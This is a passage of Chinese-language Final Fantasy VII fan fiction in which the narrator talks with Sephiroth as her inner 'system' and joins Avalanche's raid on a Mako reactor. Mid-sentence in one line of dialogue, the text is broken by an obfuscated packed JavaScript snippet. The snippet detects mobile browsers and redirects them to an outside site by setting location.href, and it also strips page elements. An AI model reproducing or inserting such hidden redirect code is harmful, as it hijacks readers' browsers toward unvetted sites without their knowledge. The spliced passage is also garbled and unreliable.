克劳德本人更是僵在了原地,他大概完全没料到我会突然冒出这么一句。他维持着侧耳倾听的姿势,但身体却绷得像块铁板,那双青色的眼睛难以置信地看着我,似乎在怀疑自己是不是听错了。 被我当作“交易对象”的蒂法,脸上那温柔的笑容也凝固了。 她先是怔忪地看着我,清澈的眼眸里写满了惊讶和不解,随即目光转向表情极其不自然的克劳德,似乎想从他那里得到某种解释。 “呃,这位小姐,”蒂法最先打破了沉默,她勉强维持着镇定,语气依旧是温和的,但带着明显的困惑和一丝不赞同,“您,您刚才说什么?帮我…打克劳德?” 她顿了顿,仿佛在确认自己没有理解错,“为什么?克劳德他,他没有惹我生气啊。我们只是很久没见了,聊聊天而已。” “对啊对啊!”还没等我回答,旁边的杰茜已经按捺不住好奇心,凑了过来,眼睛亮晶晶地看着我们三个,完全是一副看热闹不嫌事大的样子,“这位酷姐姐,你为什么要帮蒂法打克劳德啊?他们俩有什么恩怨吗?快说说,快说说!” 她兴致勃勃地追问,完全没注意到克劳德越来越僵硬的脸色和蒂法试图阻止她的眼神。 “杰茜!”蒂法无奈地低声制止了她,然后再次转向我,语气更加恳切,“这位小姐,我想您可能误会了什么。我和克劳德是同乡,以前是朋友。刚才他可能只是有点…嗯,不适应这里的环境,所以态度才有点冷淡,并不是针对我。” 她努力为克劳德找着理由,试图化解尴尬。 克劳德听到蒂法的话,肩膀似乎垮塌了一点,他终于转过头来,没有看蒂法,而是看着我,声音有些闷闷的:“我没有惹她生气。你,你别乱来。” 他的语气与其说是警告,不如说更像是一种无力的辩解。 “谁说你惹她生气了?”我看着克劳德那副样子,觉得更有趣了,“我只是看她好像有点不开心,想帮她出出气嘛。打你一顿,她开心了,我也能喝到免费的酒,这不是两全其美吗?” 【“你的逻辑总是如此…与众不同。”】 脑海里,萨菲罗斯的声音幽幽响起,带着一丝不易察觉的玩味。 我立马回复他。 “我怎么了?对了,你怎么出现在我眼前来着?你能变成摩托吗?还是说变成陆行鸟?系统你可以变身成美少女吗?” 【”……可以,你想的话。“】 哇,真的! 半小时后,我一边喝着免费特调,一边与脑内的系统讨论关于等下的”见面仪式“。 49. 第46章 【“摩托的形态过于笨重,不利于行动。而且,你想让我就那样暴露在其他人面前?”】 “那有什么关系?他们又不知道那是你。”我理直气壮地反驳,“再说了,变成摩托很帅啊!骑起来肯定很爽!到时候那些神罗兵看到,肯定吓得屁滚尿流!” 我想象着骑着“系统摩托”在米德加街头横冲直撞的画面,嘴角忍不住扬了起来。 【“比起那个,你不觉得…更贴近本质的形态会更好吗?”】 他的声音低沉下来,带着某种诱导的意味。 “更贴近本质?”我重复了一遍,没太明白,“什么意思?难道你想变成一把刀?那也太逊了吧!只能砍人,又不能骑也不能抱。” 对我而言,刀是我最本质的部分了——毕竟我一醒来就可以召唤我的野太刀呢! “或者你想变成陆行鸟?”我又想到了一个新的可能性,眼睛亮了起来,“毛茸茸的那种!白色的!像雪球一样!我可以天天抱着你!不过你得比雪球聪明点,不能像它那么蠢。” 雪球那只蠢猫,现在正被威吉抱在怀里,享受着胖子温柔(?)的抚摸,喉咙里发出满足的呼噜声。威吉看起来很喜欢它,一直在用他那胖乎乎的手指给雪球挠下巴。 【“陆行鸟?”】萨菲罗斯的声音听起来似乎对我这个提议更感兴趣了一些,【“柔软,温暖,可以随时陪伴在你身边。确实是个不错的选择。你会喜欢那样的我吗?”】 “当然喜欢啊!”我毫不犹豫地回答,“谁不喜欢毛茸茸的坐骑呢?不过你得听话,不准随便咬人,也不准学扎克斯那样咋咋呼呼的。” 我看着吧台那边,克劳德正被杰茜缠着问东问西。杰茜对克劳德那把看起来就很重的符文剑非常感兴趣,一会儿摸摸剑柄,一会儿又好奇地问这问那。 “喂喂,克劳德!你这把剑看起来好厉害啊!是神罗特种兵的标配吗?上面这些符文是干什么用的?能发光吗?能变形吗?”杰茜像个好奇宝宝,围着克劳德转个不停,眼睛里闪烁着对武器的狂热。 克劳德被她问得有些招架不住,他抱着手臂,身体往后靠着吧台,试图拉开一点距离,但表情还是那副没什么波澜的样子,只是偶尔会快速瞥我这边一眼。 “不是标配,”他言简意赅地回答,声音没什么起伏,“符文只是装饰。” “啊?只是装饰吗?太可惜了!”杰茜脸上露出失望的表情,“我还以为能像游戏里那样,念个咒语就能放出大招呢!” 蒂法在吧台后面看着他们,嘴角带着无奈的笑意,手里的调酒器摇得飞快,正在为□□准备饮料。 巴|雷特则坐在一旁的长凳上,擦拭着他那只金属手臂上的枪械,黝黑的脸上看不出什么表情,但偶尔投向我和克劳德的目光依旧带着审视。比格斯坐在他旁边,低头看着手里的便携终端,似乎在检查什么数据。 “说起来,变成美少女怎么样?”我突然又想到了之前那个选项,兴致勃勃地在脑内追问,“系统你说可以的!变成什么样的?黑长直?还是金发双马尾?要不要带猫耳?身材要火辣一点的!” 我脑子里浮现出各种游戏和小说里美少女的形象。 【“变成美少女…”】萨菲罗斯的声音拖长了一些,【“你确定想看到那样的我?一个…‘火辣’的,可能还带着猫耳的‘美少女’?”】 “有什么不可以的?”我奇怪地反问,“小说里的很多系统最后都变成了美少女,然后加入了主角后宫。” 【“我以为你会更喜欢…”】他的声音顿了顿,【“更熟悉,也更…强大的形态。”】 “比如?”我追问。 他没有直接回答,而是反问道:【“你希望我以何种姿态,出现在你面前?”】 萨菲罗斯的声音带着一种奇特的引力,仿佛在引导着我去描绘某个特定的形象。 我看着杯中旋转的蓝色液体和银色光点,一时间也有些选择困难。 摩托很酷,陆行鸟很软,美少女很养眼… “要不…”我想了想,眼睛一亮,“你变成我怎么样?跟我长得一模一样!银色头发,绿色眼睛!这样我们走出去,别人肯定分不清谁是谁!一定很好玩!” 我为自己这个绝妙的主意感到兴奋。 【“变成…你?”】 脑海里的声音,第一次带上了明显的、几乎可以说是惊讶的情绪。 --- 在出发的列车上,我一直在跟脑内的系统说话。 “你等下变成我——怎么出现呢?以后你会一直都在吗?” 【“只是我的精神体。不过,你想我一直存在吗?”】 “当然,你是我的系统嘛。” 系统那边沉寂了片刻。 忽然,有什么在我面前晃了晃。 我抬起头,是克劳德的手。 我眨了眨眼,看到他那张没什么表情的脸凑近了些,青色的眸子正专注地看着我,眉头微蹙。 “怎么了?”他开口,声音是惯常的平稳,但仔细听似乎带着点迟疑,“你在想什么?从刚才上车就一直心不在焉的。” “没什么,”我含糊地应了一声,“在构思等下怎么把神罗那些杂兵打得落花流水。” 克劳德脸上露出“果然如此”的表情,他没再追问:“这次任务很危险,一号魔晄炉守卫森严,不能掉以轻心。等下一切按计划行事。” 他顿了顿,又补充了一句:“等做完任务,时间应该还早,我们先回去买菜,冰箱里快空了。” 他这话像是一盆冷水泼在我刚被脑内系统勾起的美好幻想上。 “买菜?”我立刻皱起眉头,表示强烈反对,“为什么要做完任务就去买菜?那么无聊的事情!不行!我要去吃烤肉!” 任务结束当然要大吃一顿庆祝!这是常识!买菜这种枯燥乏味的事情,应该留到最后,或者干脆不做! “但是冰箱里真的什么都没有了,”克劳德耐着性子解释,他似乎预料到我会反对,“不买菜的话,明天就没东西吃了。烤肉什么时候都可以吃,先把必要的事情做完。” 他试图用“生存必需”这种逻辑来说服我。 “明天的事明天再说!”我一挥手,态度坚决,“今天任务结束,我必须吃到烤肉!滋滋冒油的那种!还要加双份芝士!烤肠也要!还有冰镇可乐!” 我越说越馋,仿佛已经闻到了烤肉的香味。 “可是我们的钱…”克劳德刚想提预算的问题,就被我打断了。 “钱的事情不用你操心!”我拍了拍胸脯,虽然里面除了制服什么也没有,“这次你不是有双倍报酬吗?拿你的钱去吃!” 克劳德的表情凝固了,他张了张嘴,似乎想反驳什么,但看着我理直气壮的样子,最终只是无奈地叹了口气。 “那笔钱是…是用来买…” 对哎,摩托。 “好吧,那就不吃烤肉了。” 我怨念的放弃了。 摩托还是更帅气的。 一旁的座位上,杰茜和那个光头在说这些什么,其他的——哎?雪球怎么还在那个胖子怀里? 我们都要炸魔晄炉了。 在与我对视后,那只蠢猫还悠闲地喵了一声。 “呃,是它非要跟过来的……” “那你就抱着它,躲在后面好了。” 我起身,换了个姿势半靠在列车的扶手旁。 --- 一号魔晄炉底。 克劳德十分熟练的跟在我身旁,看着前面的魔兽和神罗兵被切瓜砍菜一样秒掉——时不时的,在我去翻尸体口袋的时候,他负责清理前方的道路。 “喂!你们两个!动作也太快了吧!”身后传来巴|雷特粗声粗气的抱怨声,他和他那几个手下才刚刚跟上来,正好目睹了这高效的“清理”过程。 “老大,他们好厉害啊!”威吉抱着雪球,圆脸上满是惊叹,怀里的雪球似乎也被刚才的动静惊醒,好奇地探出脑袋,蓝色的大眼睛滴溜溜地转着。 “哼,不过是些杂兵而已。”巴|雷特虽然嘴上不服气,但看向我和克劳德的眼神明显少了几分轻视,多了些凝重。“别大意了!越往里走,守卫越森严!杰茜!前面有没有监控或者陷阱?” “让、让我看看…”杰茜连忙拿出她那个小巧的探测器,对着前方一阵扫描,“左边墙壁后面有高压线路,右前方三十米有红外感应器…看起来我们得从中间这条管道绕过去!” “切,麻烦死了!”巴|雷特啐了一口,挥了挥他那只枪械手臂,“那就走管道!威吉!你抱着那只猫跟紧点!别掉队了!” “是、是!老大!”威吉连忙应声,小心翼翼地抱着雪球跟上队伍。 我们一行人钻进了狭窄、闷热的维护管道。 这里更加昏暗,只有头顶偶尔闪烁的指示灯提供微弱的光源。管道内壁布满了油污和灰尘,空气也更加污浊。 我走在前面,有些不耐烦地应付着这种潜行环节。 太慢了,而且一点都不刺激。 “系统系统,”我在脑内跟系统聊天,“你刚刚说的精神体,是什么意思啊?你没有实体吗?” 我刚刚喝酒的时候分析了一下我的金手指类型。 他看起来不是那种传统的,只是作为小说情节辅助的系统,而是另外一类,会有实体,跟主角见面的金手指。 一般这种系统原先都是人——或者说,“老爷爷”? 他立马就回复了我。 【“暂时没有。”】 “怎么会没有实体呢?你是死了吗?” 我随口一说。 脑海里的声音忽然陷入了长久的死寂。 这种寂静不同于之前的停顿或思考,它更深沉,仿佛连维系着我们对话的那根无形的线都绷紧了,空气都因此变得凝滞。 周遭管道内滴水的“嘀嗒”声、远处机械运作的低沉轰鸣、以及身后队友们压低了的呼吸和脚步声,在这一刻都变得异常清晰。 我皱了皱眉,心里没来由地感到一丝烦躁。 搞什么?问个问题而已,至于反应这么大吗?死就死了,没死就没死,有什么好沉默的?难道真被我说中了? “喂!系统?”我又在脑内戳了戳他,“哑巴了?还是信号不好,掉线了?” 依旧没有回应。 就像一块石头沉入了不见底的深潭,连一丝涟漪都没有激起。 “切,没劲。”我撇撇嘴,暂时放弃了沟通,把注意力转回到眼前的潜入行动上。 管道里的路越来越窄,而且七拐八弯,有些地方甚至需要侧身才能通过。内壁上厚厚的油污散发出刺鼻的气味,混合着铁锈和某种化学品的味道,熏得人头晕。脚下黏糊糊的,不知道踩到了什么东西。 “该死!这什么鬼地方!”身后传来巴|雷特压抑着的咒骂声,“简直跟下水道一样臭!神罗那些混蛋,自己住在干净明亮的上层,就把这些垃圾全都排到我们这儿来了!” “小声点,老大!”比格斯在他旁边低声提醒,推了推眼镜,“前面可能有声音探测器。” “探测器?老子他|妈崩了它!”巴|雷特恶狠狠地说,但他还是下意识地放轻了脚步声。 “杰茜,还有多远?”巴|雷特又问。 “快了快了!”杰茜的声音带着点兴奋和紧张,她一边对照着手里的探测器和图纸,一边小声报告,“再过前面那个转角,应该就能看到通往主冷却系统的通风口了!我们可以从那里下去!” “通风口?”威吉抱着雪球,有些担忧地问,“那里面安全吗?会不会有守卫或者魔兽?”雪球在他怀里不安分地动了动,喉咙里发出低低的“呜呜”声,似乎也感觉到了周围压抑的气氛。 “应该没有,”杰茜不太确定地说,“图纸上没标。不过那是冷却系统,温度可能有点低,大家注意保暖。” 克劳德一直沉默地跟在我身边,他的呼吸平稳,脚步轻盈,几乎听不到声音。 昏暗的光线勾勒出他紧绷的侧脸轮廓,那双青色的眼睛警惕地扫视着四周,没有放过任何一个角落。他似乎察觉到我刚才短暂的走神,但并没有开口询问,只是默默地离我更近了一些,隐隐将我护在他和后面的队伍之间。 谁要他保护了,这只陆行鸟还不够我一只手打的。 就在这时,脑海里那个沉寂了许久的声音,终于再次响起。 【“‘死’…”】 他吐出这个字,声音低沉得如同来自深渊,带着一种难以言喻的复杂情绪。 【“某种意义上,是的。”】 “某种意义上?”我立刻追问,“什么叫某种意义上?死就是死,没死就是没死,哪来那么多弯弯绕绕?” 【“我的身体确实已经…不存在于这个物理层面了。”】 “噢,那我可以复活你吗?我可以帮你复活的吧?” 【“……”】 他忽然转移话题。 【“你我见面之时,我会带回你的记忆。”】 啊。 我确实失忆了。 但其实恢不恢复记忆,我都感觉没什么区别——应该? 【“你会记起我们之间的羁绊,会记起人类对我们所做的事,会记起我们之间的承诺。”】 【“你说过,你会永远站在我这边。”】 【“我们会一起给世界带来该有的未来。”】 【“我们会永远在一起。”】 “……” 我有些疑惑。 “这些话真的是我说的吗?我觉得我是那种不需要把话说出来的类型。” 对于任何事情,我确定了就是确定了。 “还有,你刚刚转移话题,是不是不确定我恢复了记忆会选择复活你?” 【“……”】 脑海里的声音又一次陷入沉默。 这种沉默让我感到很不舒服,就像期待着下一秒的爆炸声,却只等来了死寂。 “喂!哑巴了?还是被我说中了心事,不敢回答了?” 我觉得复活一个人应该不是什么难事吧?毕竟小说里都有这种情节。 系统这么厉害,肯定也能做到。他要是不确定我会不会帮他,那也太小看我了。 【“你认为,什么是‘复活’?”】 终于,那个低沉的声音再次响起,但语气却带着一种奇怪的平静,仿佛刚才的沉默只是我的错觉。他没有直接回答我的问题,反而抛出了一个新的疑问。 “复活就是复活啊!”我理所当然地回答,“就是让你重新拥有身体,能跑能跳能吃烤肉,还能…”我顿了顿,想到了之前的讨论,“还能变成摩托或者陆行鸟给我玩!” 我觉得我的解释简单明了,直击重点。 【“原来如此。”】 他的声音听起来没什么波澜,像是对我的答案不置可否。 【“那么,等你记起一切之后,再来告诉我你的答案吧。”】 他又把话题绕回了记忆上。 真是麻烦。 “说得好像我恢复记忆之后就会变成另一个人似的,”我撇撇嘴,“我就是我,不管有没有记忆,想做的事情都不会变。想吃烤肉就会去吃,想炸东西就会去炸,想复活你…” 我故意停顿了一下,等着他的反应。 他没说话。 “算了,没劲。”我放弃了和他继续这个话题。 恢复记忆就恢复记忆吧,反正对我来说没什么大不了的。说不定还能想起来我把零食藏在哪了呢! 我之前肯定存了很多零食。 “嘿!前面那个戴面罩的!”身后传来□□不耐烦的声音,“别磨磨蹭蹭的!快点!通风口就在前面了!” 我回头瞪了他一眼:“吵什么吵!赶着回生命之流啊!” “你——!” 巴|雷特气得额头青筋暴起,但大概是顾忌着我的实力,硬生生把后面的话咽了回去,只是狠狠地哼了一声。 “好了好了,老大,别生气嘛,”威吉连忙打圆场,抱着雪球往前凑了凑,“这位小姐身手好,走在前面探路也安全些。是吧,克劳德?”他向旁边的克劳德寻求认同。 克劳德目不斜视地看着前方,淡淡地应了一声:“嗯。” 雪球在威吉怀里动了动,探出脑袋,好奇地看着昏暗的管道前方,喉咙里发出轻轻的“喵呜”声。 “前面就是通风口了!”杰茜兴奋的声音传来,她已经爬到了前面那个转角处,正对着我们招手,“从这里下去就是冷却系统区域!大家小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479192|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心点,下面可能很滑!” 通风口是一个向下延伸的方形通道,里面黑漆漆的,只能听到下方传来隐约的气流声和更清晰的机械运转声。一股冰凉潮湿的空气从里面吹出来,带着浓重的机油味。 “我先下去探路。”克劳德说着,动作利落地将符文剑背好,第一个靠近通风口边缘,用手电筒往下照了照。 “看起来没什么异常,下面是一个金属平台,离这里大概五米。”他回头对我们说,然后双手抓住边缘,身体灵巧地滑了下去,很快就消失在黑暗中。 几秒钟后,下面传来他有些失真的声音:“安全,可以下来了。” “好嘞!该我了!”杰茜兴奋地搓了搓手,第二个滑了下去。 接着是比格斯,他推了推眼镜,动作有些笨拙,但还算顺利。 “威吉,你行不行啊?”巴|雷特看着抱着猫、一脸紧张的威吉,皱着眉头问道,“要不你和那只猫留在上面?” “不、不用了老大!”威吉连忙摇头,把雪球往怀里紧了紧,“我能行!雪球也很乖的!不会捣乱!” 他深吸一口气,鼓起勇气,小心翼翼地挪到通风口边,学着前面几人的样子滑了下去,过程中还发出几声短促的惊呼。 “呼…总算下来了…”威吉的声音带着点后怕。 “哼,废物。”巴|雷特嘀咕了一句,然后看向我,“该你了,面罩女。快点!” 我懒得理他,走到通风口边,往下一看。 下面是一个宽敞但同样昏暗的空间,巨大的金属管道纵横交错,空气中弥漫着白色的冷雾,温度确实比上面低了不少。克劳德和雪崩的几个人正站在一个悬空的金属平台上,抬头看着我。 克劳德手里拿着手电筒,光柱照亮了我周围的区域。 他看到我靠近,目光在我身上停留了一瞬,似乎想说什么,但最终还是没开口。 我没多想,纵身一跃,轻巧地落在平台上,稳稳站住。这点高度对我来说根本不算什么。 “哇!”杰茜发出一声小小的惊叹,“好厉害!身手真好!” 我没理会她的吹捧,目光扫过这个陌生的环境。这里看起来像是魔晄炉内部某个巨大的机械中转站,四周都是冰冷的金属结构,只有远处闪烁着几盏红色的警示灯。 “好了,人都到齐了!”巴|雷特最后一个跳了下来,他拍了拍身上的灰,“接下来往哪走?杰茜!” “按计划,我们需要穿过这片冷却区,找到通往核心反应堆的03号通道!”杰茜立刻拿出她的地图和探测器,开始确认方向,“这边!跟我来!” 她率先朝着平台一侧的狭窄通道走去。 我们一行人跟在她身后,脚步声在空旷的金属空间里回荡,显得格外清晰。 克劳德依旧走在我旁边,他似乎一直保持着高度警惕,目光锐利地扫视着周围每一个角落,手一直虚按在背后的剑柄上。 我感觉他好像有点过于紧张了。 “陆行鸟,”我用手肘碰了碰他,“放松点,不就是炸个炉子吗?搞得跟上刑场一样。” 克劳德身体几不可查地僵了一下,他转过头,青色的眸子在昏暗的光线下显得有些深邃。 “这里是魔晄炉内部,不能大意。”他低声回答,声音没什么起伏,“神罗的防御系统比我们想象的更复杂。而且,”他顿了顿,目光似乎意有所指地扫过我,“人越多,变数就越多。” “变数?”我挑了挑眉,“你是怕我等会儿杀得兴起,把他们也一起砍了吗?” 克劳德沉默了两秒,然后移开了视线,看向前方带路的杰茜。 “我只是提醒你遵守计划。” --- 到了接近魔晄炉中心的地点,我和那个抱着猫的胖子在门外守着。 克劳德跟随巴|雷特他们进去安装炸弹。 “……你要好好待着。” 这是什么语气?当我是什么小孩吗? 我无语至极,靠在冰冷的金属墙壁上,双手抱臂。 这墙壁的触感带着一种奇异的震动,大概是魔晄能量在管道里流动的缘故,空气里也弥漫着一股淡淡的、类似臭氧混合着甜腻香料的味道,吸进肺里凉飕飕的。 真是无聊。这一切都和我想象中的轰炸魔晄炉相差甚远,简直就是一个找路+等待模拟器。 我尝试在脑内呼唤系统,找他消磨时间。 “喂,系统?萨菲罗斯?还在不在?” 脑海里一片寂静,那种感觉很奇怪,不像平时那种随时待命的回应感,更像是一个原本一直存在的声音突然消失了,留下了一片令人不适的空旷。 就像是…电视突然没了信号,只剩下滋滋的雪花屏。 他不回答。 是因为我之前问他是不是死了吗?真是小气。死就死了嘛,反正我说了会想办法复活他。难道他觉得我在开玩笑? “呃……啊!” 忽然,雪球猛地从那个胖子的怀里跳出来,往前方跑。 威吉瞪大了眼睛,他本能的就追上去了。 空间内,只剩下了我。 我随意的往前走了几步,靠近刚才雪球和威吉消失的那个拐角,探头往里面看了看。 里面似乎是另一条岔路,更加昏暗,深处传来隐约的风声,不知道通向哪里。 “喵?” 就在这时,一声细微的猫叫从岔路深处传来。 是雪球? 它没被那个胖子找到? 我不由得皱起眉头。 虽然那只猫挺蠢的,但好歹也是一起行动的(被迫的),万一在里面遇到什么危险就不好了。而且,要是被魔晄炉里的什么怪物吃了,扎克斯估计会哭吧,还有克劳德,一定会因此扣我的烤肉经费。 “啧。” 我犹豫了一下,还是抬脚走进了那条岔路。 与其在这里干等着,不如去看看那只蠢猫到底在搞什么鬼。 这条岔路比主通道更狭窄,光线也更暗淡,几乎是伸手不见五指。空气中的寒意更重,似乎还有一种…类似腐烂的味道掺杂在魔晄的气息里。 地面也更加湿滑,踩上去发出“噗嗤噗嗤”的声响。 “雪球?”我试探性地喊了一声,声音在狭窄的空间里显得有些沉闷。 “喵。” 猫叫声再次传来,这次清晰了许多,就在前方不远处。 同时,我还听到了一阵奇怪的、像是金属摩擦的“滋啦”声。 错觉吗? 我加快了脚步,朝着声音传来的方向走去。转过一个弯,前方出现了一点微弱的光亮。 那光亮来自一个半开着的金属栅栏门后面。 雪球正蹲在门口,仰着头,看我。 “……” 我走过去,将那只猫抱起。 与它四目相对。 猫咪的尾巴垂下,好像在随风摇晃。 “喵。” —— “萨菲罗斯。” 脱口而出的音节。 —— 等等。 这不是我系统的…… 刹那间,好像是我在思索之时,手上的猫咪消失了。 什么东西拍了拍我的肩膀。 这感觉很轻,不像人类手掌的重量,更像是一片带着寒意的羽毛轻轻搭在那里。 我转过头—— 高挑、挺拔的身影静静地站在昏暗的通道里,几乎与阴影融为一体。 男人一头炫目的银色长发如瀑布般垂落,光泽流转,即使在如此昏暗的环境下也散发着淡淡的光辉。 最引人注目的是他那双眼睛。 如同最纯净的魔晄结晶,泛着幽幽的碧绿色光芒,深邃而锐利,仿佛能洞察人心。 他就那样站在那里,嘴角似乎噙着一丝若有若无的笑意,目光平静地落在我脸上。 这就是…萨菲罗斯? 银发男人忽然往前,他俯下身,靠的很近,额头几乎抵着我的。 “……” 【“看着我。”】 “看着我。” 【看着我】 ‘看着我’ 『看着我』 〖看着我〗 我与他四目相对。 50. 第47章 [1] 杰茜一心一意的将炸弹安装好后,看着上面那10分钟的倒计时,松了口气。 "喂,你要去哪?!" 身后传来巴|雷特的声音。 她回过头,发现那位长相帅气的金毛小哥正往外走去,面色是罕见的焦虑。 "……她不见了。" "小哥,还有10分钟炸弹就要引爆了!" 抱着猫的威吉正在收拾撤退的装备,就瞥见了此时的克劳德。 他后退一步。 "怎……怎么了?" "她去哪了?" 威吉这才从他那有些阴沉的脸色回过神,有些结巴的解释。 "刚刚万能工小姐说,她去外面那层门守了。呃……是先撤退了?" “先撤退?” 克劳德皱紧眉头,这个说法根本站不住脚。以她的性格,怎么可能在这种时候独自提前撤离?而且,外面?这里已经是魔晄炉的深处,外面还能去哪里? 她更像是会被别的东西吸引,然后不管不顾地跑掉。 “不可能。”克劳德斩钉截铁地否定了威吉的猜测,他的目光重新投向那条昏暗的岔路,“她不会先走。” “喂!金毛小子!”巴|雷特大步走了过来,听到他们的对话,不耐烦地挥了挥手,“磨蹭什么呢!炸弹都安好了,赶紧撤退!管她去哪了,说不定是嫌麻烦,自己先溜了!雇佣兵不都这样吗?拿钱走人!” “就是啊,克劳德,”杰茜也跑了过来,脸上带着焦虑,“时间不多了!只有不到十分钟了!我们得赶紧离开这里!万一她真的先走了呢?我们总不能为了等她一个人,把所有人都搭进去吧?” “她不是那种人。”克劳德的声音很轻,但语气却异常坚定。他不知道自己为什么如此笃定,只是潜意识里有这样一个声音告诉他,她绝不会抛下同伴。 而且,那种强烈的不安感越来越清晰,她一定是在某个地方遇到了什么。 “你怎么知道她不是?”巴|雷特上前一步,几乎要和克劳德脸贴脸,粗重的呼吸喷在他的脸上,“我告诉你,关键时刻能靠得住的只有自己!我们雪崩的人,是为了同一个目标在战斗!不是为了照顾你们这种随时可能跑路的雇佣兵!” “老大,别这么说嘛-”威吉试图缓和气氛,但声音微弱。雪球似乎感受到了紧张的气氛,在他怀里挣扎起来,发出更加不安的“喵呜”声。 比格斯推了推眼镜,冷静地分析道:“如果那位小姐真的遇到了什么意外,我们现在折回去寻找也确实太冒险了。时间紧迫,而且我们对这片区域也不熟悉,很可能会一起陷入危险。” 他看向克劳德:语气带着劝说,“克劳德,我知道你担心同伴,但现在最理智的选择是先撤退。等我们到了安全地带,再从长计议。” “来不及了。”克劳德打断了他,视野往外面那条岔路望去——一条是撤退的道路,另一条更往里。 他不再犹豫,猛地转身,无视身后巴|雷特愤怒的吼叫和杰茜焦急的呼喊,径直朝着那条散发着不祥气息的深入岔路冲了过去。符文剑的剑柄已经被他紧紧握在手中,冰冷的触感让他混乱的思绪稍微清晰了一些。 “喂!你去哪里!回来!” “克劳德!炸弹要爆了!” “该死的!别管他!我们走!” 身后的声音越来越远,克劳德充耳不闻。 边奔跑着,他一边想。 不应该被她三言两语就劝出来的。 他还记得扎克斯的话——平时里大大咧咧的黑发男人表情很认真,又带着点窘迫。 “克劳德,我出去办点事……大概要一周,因为有些远,我不会有事的。就是,请一定要照顾好前辈,拜托了。不要让她出门。” 应该待在家里才对。 即使不能赚钱,她也总能莫名其妙的把一些东西做好吃,就算饿几天,他们也不会怎样。 克劳德不愿意承认,明明不过只是半年不到—— 和她呆在一起,很开心。 特别开心。 克劳德在空荡荡的管道内呼唤她的名字,得到的只有回声。 他不再顾忌可能存在的陷阱或敌人,加快了脚步,符文剑被他紧握在身侧,剑尖斜指地面,随时准备应对任何突发状况。 仔细分辨着空气中任何不寻常的气息和声音,克劳德的眼睛则拼命适应着黑暗,试图捕捉到一丝银色的发丝或者熟悉的身影。 墙壁上湿滑的冷凝水珠偶尔滴落,砸在地上,发出清脆的“啪嗒”声。他绕过一处堆积着废弃管道的角落,眼前豁然开朗了一些。 前方隐约有一个半开的金属栅栏门,门后似乎有微弱的光线透出。 他的脑内计算着时间,正准备一下冲进去—— 一股剧痛猛地席卷脑海。 “……” 为什么……是这个时候…… 尖锐的痛感如同烧红的铁针猛地刺入脑髓,克劳德眼前的一切景象瞬间扭曲、晃动。他闷哼一声,身体不受控制地一个趔趄,左手下意识地撑在冰冷湿滑的墙壁上,这才勉强稳住身形。 不行,不能在这里停下。 她还在里面,不知道遇到了什么。 一定要照顾好她。 他答应了的。 额角的青筋突突跳动,指节因为用力撑墙而泛出白色。视野边缘如同蒙上了一层毛玻璃,模糊不清,耳边也充斥着尖锐的嗡鸣。 他猛地伸手,将手臂抵在符文剑的剑刃上。 血,流淌而出,滴落在冰冷潮湿的金属地面上,发出细微的声响。 剧烈的疼痛如同浪潮般冲击着神经,却也像一把锋利的楔子,强行劈开了那团盘踞在脑海中、令人窒息的混沌迷雾。 克劳德扶着墙壁,缓缓直起身,左臂的伤口依旧在汩汩流血,但他毫不在意。他用空着的右手紧了紧握着的符文剑,剑柄冰冷的触感传递到掌心,带来一丝冷静。 “必须…快点。”他低声自语,声音沙哑,带着强压下的颤抖。 不能食言。 不能让她出事。 不能什么都做不到了。 还有5分钟—— 冲过拐角,那扇半开的栅栏门就在眼前。门后透出的微光并不明亮,反而带着一种诡异的、非自然的幽绿色泽,将门框和周围的墙壁染上了一层阴森的色彩。 克劳德的心跳漏了一拍,一种不祥的预感攫住了他。他放轻脚步,悄无声息地靠近栅栏门,侧耳倾听着门后的动静。 里面很安静,只能听到细微的气流声,以及某种能量低沉的嗡鸣。 他小心翼翼地探头,透过栅栏门的缝隙向里望去。 门后是一个相对宽敞的空间,看起来像是一个废弃的控制室或者小型实验室。房间中央摆放着几个已经停止运作、布满灰尘的仪器,墙壁上嵌着几块闪烁着幽绿色光芒、如同巨大宝石般的结晶体——正是这些结晶体散发出的光芒照亮了这里。 房间的角落里,似乎还能看到一些散落的、被撕碎的白色布料,以及几处颜色暗沉的可疑痕迹。 然后,他看到了她。 她就站在房间中央,背对着栅栏门,仰着头,似乎在与什么人对视。银色长发在幽绿的光芒下泛着冷冽的光泽,身影看起来有些单薄。 而在她面前,站着一个男人。 一个克劳德绝不会认错的男人。 即使隔着一段距离,即使光线昏暗,那标志性的银色长发、挺拔修长的身姿,以及那身象征着神罗最强特种兵的黑色制服,都如同烙印般刻在他的记忆深处。 萨菲罗斯。 他怎么会在这里? 一股寒意瞬间从克劳德的脚底窜遍全身,甚至盖过了手臂上的疼痛和脑海中的不适。记忆的碎片如同潮水般涌现,尼布尔海姆冲天的火光、母亲倒在血泊中的身影、村庄被屠戮的惨状、魔晄炉里那双碧绿色的眼眸—— 克劳德的呼吸猛地一滞,握着剑柄的手指因为用力而嘎吱作响。 愤怒、恐惧、憎恨…各种复杂而强烈的情绪在他胸腔中翻涌、碰撞,几乎要将他吞噬。 “不请自来的人偶。” 男人的声音忽然响起,来自身后。 他的身体比意识更快地做出了反应。几乎是条件反射般,克劳德猛地转过身,握着符文剑的右手肌肉瞬间绷紧,手背上青筋暴起。 手臂的伤口还在流血,滴落在地面的血滴在幽绿的光线下呈现出诡异的暗红色,但他仿佛感觉不到疼痛。 “看看你现在的样子。” 萨菲罗斯开口,声音带着一种空灵的回响,仿佛直接响彻在克劳德的脑海深处,而非仅仅通过空气传播。“真是可悲啊,克劳德·斯特莱夫。挣扎了这么久,到头来,依旧是个连自我都无法认清的失败品。” 他说话的语调很平缓,甚至称得上温和。 “你来这里做什么?”克劳德的声音沙哑得厉害,强烈的愤怒和屈辱感让他几乎无法维持表面的平静,握着剑的手因为过度用力而微微颤抖。“萨菲罗斯,你这个怪物!你又想做什么!” 他紧盯着萨菲罗斯那双不似人类的眼眸,试图从中找到一丝破绽,却只看到一片深不见底的冰冷和漠然。 尼布尔海姆的火光,蒂法重伤倒地的身影,还有他自己无力的嘶吼,这些画面在他眼前疯狂闪烁。 